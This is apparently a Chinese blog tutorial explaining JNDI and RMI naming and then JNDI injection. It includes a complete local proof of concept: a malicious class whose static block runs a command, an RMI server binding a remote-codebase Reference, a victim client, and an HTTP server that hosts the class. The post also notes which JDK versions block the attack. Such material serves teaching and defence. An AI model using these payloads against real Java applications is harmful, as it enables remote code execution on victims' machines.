JNDI简介

JNDI是java命名与目录接口（java Naming and Directory Interface），在J2EE规范中是重要的规范之一。通过调用JNDI的API应用程序可以定位资源和其它程序对象。需要注意的是它并不只是包含了DataSource(JDBC数据源），JNDI可访问的现有的目录以及服务有：JDBC，LDAP，RMI，NID，CORBA。jndi是对各种访问目录服务的逻辑进行了再封装,也就是以前我们访问rmi与ldap要写的代码差别很大，但是有了jndi这一层，我们就可以用jndi的方式来轻松访问rmi或者ldap服务，这样访问不同的服务的代码实现基本是一样的。

通俗一点讲：JNDI对访问rmi或者ldap服务的代码进行了封装，我们使用JNDI就可以访问这些服务，不需要自己再去关注访问服务的细节。JNDI相当于是客户端，而rmi，LDAP等这些是服务端。

其它一些概念：

1）Naming Service 命名服务 命名服务将名称和对象进行关联，提供通过名称找到对象的操作。 例如：DNS系统将计算机名和IP地址进行关联。文件系统将文件名和文件句柄进行关联等等。

2）Name 名称 要在命名系统中查找对象，需要提供对象的名称。对象的名称是用来标识该对象的易于人理解的名称。 例如：文件系统用文件名来标识文件对象。DNS系统用机器名来表示IP地址。

3）Binding 绑定 一个名称和一个对象的关联称为一个绑定。 例如：文件系统中，文件名绑定到文件。DNS系统中，机器名绑定到IP地址。

4）Reference 引用 在一些命名服务系统中，系统并不是直接将对象存储在系统中，而是保持对象的引用。引用包含了如何访问实际对象的信息。

5）Context 上下文 一个上下文是一系列名称和对象的绑定的集合。一个上下文通常提供一个lookup操作来返回对象，也可能提供绑定，解除绑定，列举绑定名等操作。

JNDI调用过程

JNDI调用其实包含三个部分：

1）client 2)RMI Registry 3）Server

客户端访问注册端口请求相应的服务，注册端口将服务信息返回给客户端，客户端在启动一个端口去访问服务。所以其实从客户端角度看，服务端应用是有两个端口的，一个是RMI Registry端口（默认为1099），另一个是远程对象的通信端口（随机分配的）

JNDI简单实现

1）JNDI中有绑定和查找的方法：

bind: 将第一个参数绑定到第二个参数的对象上面

lookup：通过提供的名称查找对象（如何这个参数可控，就可能导致漏洞出现）

代码实现

先设置并启动一个服务端RMI

IHello.java #定义一个接口，后面用具体的类实现它

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface IHello extends Remote {
    public String sayHello(String name) throws RemoteException;
}

IHelloImpl.java #实现前面的接口，用来提供远程调用的类。

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class IHelloImpl extends UnicastRemoteObject implements IHello {
    protected IHelloImpl() throws RemoteException {
        super();
    }

    @Override
    public String sayHello(String name) throws RemoteException {
        return "Hello " + name;
    }
}

CallService.java #定义一个rmi服务，用作客户端，用来提供上面函数的远程调用

import javax.naming.Context;
import javax.naming.InitialContext;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Properties;

public class CallService {
    public static void main(String[] args) throws Exception{

        // 创建一个rmi映射表
        Registry registry = LocateRegistry.createRegistry(1099);
        // 创建一个对象
        IHello hello = new IHelloImpl();
        // 将对象绑定到rmi注册表
        registry.bind("hello", hello);

    }
}

testClient.java#接下来定义客户端，用JNDI调用上面的rmi服务

import java.util.Properties;

import javax.naming.Context;
import javax.naming.InitialContext;

public class testClient {
	public static void main(String[] args) throws Exception{

        //配置JNDI工厂和JNDI的url和端口。如果没有配置这些信息，会出现NoInitialContextException异常
        //Properties env = new Properties();
        //env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        //env.put(Context.PROVIDER_URL, "rmi://localhost:1099");

        // 创建初始化环境
        Context ctx = new InitialContext();
        //  jndi的方式获取远程对象
        IHello rhello = (IHello) ctx.lookup("rmi://localhost:1099/hello");
        //ctx.lookup("ldap://localhost:8088/EvilObj");
        // 调用远程对象的方法
        System.out.println(rhello.sayHello("axin"));
    }

}

先启动服务端，在启动客户端，就可以看到成功在服务端返回调用函数以后的值。

JNDI Naming Reference

上面例子中的rmi服务绑定是本地的类，Java为了将Object对象存储在Naming或Directory服务下，提供了Naming Reference功能，对象可以通过绑定Reference存储在Naming或Directory服务下，比如RMI、LDAP等。绑定了Reference之后，服务端会先通过Referenceable.getReference()获取绑定对象的引用，并且在目录中保存。当客户端在lookup()查找这个远程对象时，客户端会获取相应的object factory，最终通过factory类将reference转换为具体的对象实例。

JNDI客户端可以加载远程的RMI服务的class文件来进行实例化。通过lookup指定一个远程服务，远程服务是通过Reference来远程加载类文件。这样就可以对JNDI客户端进行攻击。加载远程类的时候static静态代码块,代码块,无参构造函数和getObjectInstance方法都会被调用。

在使用Reference时，我们可以直接将对象传入构造方法中，当被调用时，对象的方法就会被触发，创建Reference实例时几个比较关键的属性：

className：远程加载时所使用的类名；

classFactory：加载的class中需要实例化类的名称；

classFactoryLocation：远程加载类的地址，提供classes数据的地址可以是file/ftp/http等协议；

当然，要把一个对象绑定到rmi注册表中，这个对象需要继承UnicastRemoteObject，但是Reference没有继承它，所以我们还需要封装一下它，用 ReferenceWrapper 包裹一下Reference实例对象，这样就可以将其绑定到rmi注册表，并被远程访问到了。

JNDI注入

就是将恶意的Reference类绑定在RMI注册表中，其中恶意引用指向远程恶意的class文件，当用户在JNDI客户端的lookup()函数参数外部可控或Reference类构造方法的classFactoryLocation参数外部可控时，会使用户的JNDI客户端访问RMI注册表中绑定的恶意Reference类，从而加载远程服务器上的恶意class文件在客户端本地执行，最终实现JNDI注入攻击导致远程代码执行

jndi注入的利用条件

1）客户端的lookup()方法参数可控

2）服务端在使用Reference时，classFactoryLocation参数可控

上面两个都是在编写程序时可能存在的脆弱点（任意一个满足就行）

JNDI利用流程

1）目标代码中调用了InitialContext.lookup(URI)，且URI为用户可控；

2）攻击者控制URI参数为恶意的RMI服务地址，如：rmi://hacker_rmi_server//name；

3）攻击者RMI服务器向目标返回一个Reference对象，Reference对象中指定某个精心构造的Factory类；

4）目标在进行lookup()操作时，会动态加载并实例化Factory类，接着调用factory.getObjectInstance()获取外部远程对象实例；

5）攻击者可以在Factory类文件的构造方法、静态代码块、getObjectInstance()方法等处写入恶意代码，达到RCE的效果；

JNDI注入例子

首先创建一个恶意对象

import javax.lang.model.element.Name;
import javax.naming.Context;
import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.HashMap;

public class EvilObj {
    public static void exec(String cmd) throws IOException {
        String sb = "";
        BufferedInputStream bufferedInputStream = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
        BufferedReader inBr = new BufferedReader(new InputStreamReader(bufferedInputStream));
        String lineStr;
        while((lineStr = inBr.readLine()) != null){
            sb += lineStr+"\n";

        }
        inBr.close();
        inBr.close();
    }

    public Object getObjectInstance(Object obj, Name name, Context context, HashMap<?, ?> environment) throws Exception{
        return null;
    }

    static {
        try{
            exec("calc.exe");
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

可以看到这里利用的是static代码块执行命令。

创建RMI服务端，绑定恶意的Reference到rmi注册表

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Server {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(1099);
        String url = "http://127.0.0.1:6666/";
        System.out.println("Create RMI registry on port 1099");
        Reference reference = new Reference("EvilObj", "EvilObj", url);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("evil", referenceWrapper);
    }

}

创建一个客户端（受害者）

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class Client {
    public static void main(String[] args) throws NamingException {
        Context context = new InitialContext();
        context.lookup("rmi://localhost:1099/evil");
    }
}

可以看到这里的lookup方法的参数是指向我设定的恶意rmi地址的。

启动一个简单的客户端，用来提供恶意类的访问链接

然后先编译该项目，生成class文件，然后在class文件目录下用python启动一个简单的HTTP Server:

python -m SimpleHTTPServer 6666

执行上述命令就会在6666端口、当前目录下运行一个HTTP Server：

运行Server端，启动rmi registry服务

启动客户端

可以看到成功执行了上面恶意类中的静态代码，弹出计算机。

上面就是JNDI一个简单的例子。

注意事项

在复现的过程中，一定要注意JDK的版本，JDK在版本中对JNDI的利用有一定的限制。如下

JDK 6u141、7u131、8u121之后：增加了com.sun.jndi.rmi.object.trustURLCodebase选项，默认为false，禁止RMI和CORBA协议使用远程codebase的选项，因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞，但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。
JDK 6u211、7u201、8u191之后：增加了com.sun.jndi.ldap.object.trustURLCodebase选项，默认为false，禁止LDAP协议使用远程codebase的选项，把LDAP协议的攻击途径也给禁了。

对于高版本的JDK，上面的例子就不能执行成功，关于高版本的绕过只要有加载本地工厂类，打本地反序列化链两种方式，下篇文章再来分析。